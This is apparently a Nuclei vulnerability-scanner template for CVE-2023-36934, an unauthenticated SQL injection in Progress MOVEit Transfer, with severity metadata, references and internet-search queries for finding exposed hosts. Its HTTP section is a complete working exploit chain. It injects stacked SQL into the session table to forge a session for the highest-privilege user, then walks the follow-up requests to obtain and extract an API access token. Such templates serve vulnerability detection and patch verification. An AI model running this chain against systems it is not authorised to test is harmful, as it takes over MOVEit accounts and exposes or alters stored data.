CVE-2023-36934: MOVEit Transfer - SQL Injection

id: CVE-2023-36934

info:
  name: MOVEit Transfer - SQL Injection
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    In Progress MOVEit Transfer before 2020.1.11 (12.1.11), 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4 (15.0.4), a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain unauthorized access to the MOVEit Transfer database. An attacker could submit a crafted payload to a MOVEit Transfer application endpoint that could result in modification and disclosure of MOVEit database content.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data, modification of data, or even complete compromise of the application and underlying systems.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in the MOVEit Transfer application.
  reference:
    - https://community.progress.com/s/article/MOVEit-Transfer-2020-1-Service-Pack-July-2023
    - https://blog.projectdiscovery.io/moveit-transfer-sql-injection/
    - https://thehackernews.com/2023/07/another-critical-unauthenticated-sqli.html
    - https://www.progress.com/moveit
    - https://github.com/KushGuptaRH/MOVEit-Response
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-36934
    cwe-id: CWE-89
    epss-score: 0.92423
    epss-percentile: 0.99723
    cpe: cpe:2.3:a:progress:moveit_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: progress
    product: moveit_transfer
    shodan-query: http.favicon.hash:989289239
    fofa-query: icon_hash=989289239
  tags: cve,cve2023,moveit,rce,sqli,intrusive,progress
variables:
  session_cookie: "{{randstr}}"

http:
  - raw:
      - |
        POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27{{session_cookie}}%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+IpAddress=%27{{public_ip()}}%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27{{session_cookie}}%27%23 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        transaction=signon
      - |
        POST /human.aspx?ep={{url_encode(ep)}} HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: InitialPage=zzzz.aspx;

        transaction=passchangerequest
      - |
        POST /machine.aspx HTTP/2
        Host: {{Hostname}}
        Cookie: siLockLongTermInstID=0; ASP.NET_SessionId={{session}};

        a=a
      - |
        POST /api/v1/auth/token HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.26.0
        Accept-Encoding: gzip, deflate
        Cookie: ASP.NET_SessionId={{session_cookie}}
        Content-Type: application/x-www-form-urlencoded

        grant_type=session&username=x&password=x

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '"refresh_token"'
          - '"access_token"'
          - '"token_type"'
          - '"expires_in"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: ep
        group: 1
        regex:
          - '\bep=([^&]+)"'
        internal: true
        part: body_1

      - type: regex
        name: session
        group: 1
        regex:
          - 'ASP.NET_SessionId=([^;]+)'
        internal: true
        part: header_2

      - type: regex
        group: 1
        regex:
          - '"access_token":"([^"]+)"'
        part: body_4
# digest: 4a0a004730450221008d3c5663974f066ffdc0d8e1b86beac5f4180d1bdbd5ac2eb7c11220da4713fe0220742c0db9b8b3506111591635afcab77cb0d0878911371b06519f309ef4cac172:922c64590222798bb761d5b6d8e72950